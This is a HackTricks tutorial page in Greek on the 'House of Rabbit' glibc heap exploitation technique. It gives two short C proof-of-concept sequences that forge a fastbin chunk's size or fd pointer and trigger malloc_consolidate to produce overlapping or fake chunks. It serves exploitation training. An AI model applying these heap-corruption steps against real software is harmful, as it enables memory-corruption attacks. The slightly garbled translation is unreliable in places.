# House of Rabbit {{#include ../../banners/hacktricks-training.md}} ### Requirements 1. **Δυνατότητα τροποποίησης του δείκτη fd του fast bin ή του μεγέθους**: Αυτό σημαίνει ότι μπορείτε να αλλάξετε τον προ Forward δείκτη ενός chunk στο fastbin ή το μέγεθός του. 2. **Δυνατότητα ενεργοποίησης του `malloc_consolidate`**: Αυτό μπορεί να γίνει είτε με την εκχώρηση ενός μεγάλου chunk είτε με τη συγχώνευση του κορυφαίου chunk, που αναγκάζει τη heap να συγχωνεύσει τα chunks. ### Goals 1. **Δημιουργία επικαλυπτόμενων chunks**: Για να έχει ένα chunk επικαλυπτόμενο με ένα άλλο, επιτρέποντας περαιτέρω χειρισμούς στη heap. 2. **Κατασκευή ψεύτικων chunks**: Για να ξεγελάσετε τον allocator να θεωρεί ένα ψεύτικο chunk ως νόμιμο chunk κατά τη διάρκεια των λειτουργιών της heap. ## Steps of the attack ### POC 1: Τροποποίηση του μεγέθους ενός fast bin chunk **Objective**: Δημιουργία ενός επικαλυπτόμενου chunk τροποποιώντας το μέγεθος ενός fastbin chunk. - **Step 1: Εκχώρηση Chunks** ```cpp unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000 unsigned long* chunk2 = malloc(0x40); // Allocates another chunk of 0x40 bytes at 0x602050 malloc(0x10); // Allocates a small chunk to change the fastbin state ``` Αναθέτουμε δύο κομμάτια των 0x40 byte το καθένα. Αυτά τα κομμάτια θα τοποθετηθούν στη λίστα γρήγορων κομματιών μόλις απελευθερωθούν. - **Βήμα 2: Απελευθέρωση Κομματιών** ```cpp free(chunk1); // Frees the chunk at 0x602000 free(chunk2); // Frees the chunk at 0x602050 ``` Απελευθερώνουμε και τα δύο κομμάτια, προσθέτοντάς τα στη λίστα fastbin. - **Βήμα 3: Τροποποίηση Μεγέθους Κομματιού** ```cpp chunk1[-1] = 0xa1; // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1]) ``` Αλλάζουμε τα μεταδεδομένα μεγέθους του `chunk1` σε 0xa1. Αυτό είναι ένα κρίσιμο βήμα για να ξεγελάσουμε τον αλγόριθμο κατανομής κατά τη διάρκεια της ενοποίησης. - **Βήμα 4: Ενεργοποιήστε το `malloc_consolidate`** ```cpp malloc(0x1000); // Allocate a large chunk to trigger heap consolidation ``` Η εκχώρηση ενός μεγάλου κομματιού ενεργοποιεί τη λειτουργία `malloc_consolidate`, συγχωνεύοντας μικρά κομμάτια στο γρήγορο bin. Το χειρισμένο μέγεθος του `chunk1` προκαλεί να επικαλύπτεται με το `chunk2`. Μετά τη συγχώνευση, το `chunk1` επικαλύπτεται με το `chunk2`, επιτρέποντας περαιτέρω εκμετάλλευση. ### POC 2: Τροποποίηση του δείκτη `fd` **Στόχος**: Δημιουργία ενός ψεύτικου κομματιού με την τροποποίηση του δείκτη `fd` του γρήγορου bin. - **Βήμα 1: Εκχώρηση Κομματιών** ```cpp unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000 unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050 ``` **Εξήγηση**: Δεσμεύουμε δύο κομμάτια, ένα μικρότερο και ένα μεγαλύτερο, για να ρυθμίσουμε τη στοίβα για το ψεύτικο κομμάτι. - **Βήμα 2: Δημιουργία ψεύτικου κομματιού** ```cpp chunk2[1] = 0x31; // Fake chunk size 0x30 chunk2[7] = 0x21; // Next fake chunk chunk2[11] = 0x21; // Next-next fake chunk ``` Γράφουμε ψευδείς μεταδεδομένες πληροφορίες κομματιού στο `chunk2` για να προσομοιώσουμε μικρότερα κομμάτια. - **Βήμα 3: Απελευθερώστε το `chunk1`** ```cpp free(chunk1); // Frees the chunk at 0x602000 ``` **Εξήγηση**: Απελευθερώνουμε το `chunk1`, προσθέτοντάς το στη λίστα fastbin. - **Βήμα 4: Τροποποιήστε το `fd` του `chunk1`** ```cpp chunk1[0] = 0x602060; // Modify the fd of chunk1 to point to the fake chunk within chunk2 ``` **Εξήγηση**: Αλλάζουμε τον δείκτη προς τα εμπρός (`fd`) του `chunk1` ώστε να δείχνει στο ψεύτικο chunk μας μέσα στο `chunk2`. - **Βήμα 5: Ενεργοποιήστε το `malloc_consolidate`** ```cpp malloc(5000); // Allocate a large chunk to trigger heap consolidation ``` Η εκχώρηση ενός μεγάλου κομματιού ξαναενεργοποιεί το `malloc_consolidate`, το οποίο επεξεργάζεται το ψεύτικο κομμάτι. Το ψεύτικο κομμάτι γίνεται μέρος της λίστας fastbin, καθιστώντας το ένα νόμιμο κομμάτι για περαιτέρω εκμετάλλευση. ### Περίληψη Η τεχνική **House of Rabbit** περιλαμβάνει είτε την τροποποίηση του μεγέθους ενός κομματιού fast bin για τη δημιουργία επικαλυπτόμενων κομματιών είτε την παραποίηση του δείκτη `fd` για τη δημιουργία ψεύτικων κομματιών. Αυτό επιτρέπει στους επιτιθέμενους να πλαστογραφήσουν νόμιμα κομμάτια στη heap, διευκολύνοντας διάφορες μορφές εκμετάλλευσης. Η κατανόηση και η πρακτική αυτών των βημάτων θα ενισχύσουν τις ικανότητές σας στην εκμετάλλευση της heap. {{#include ../../banners/hacktricks-training.md}}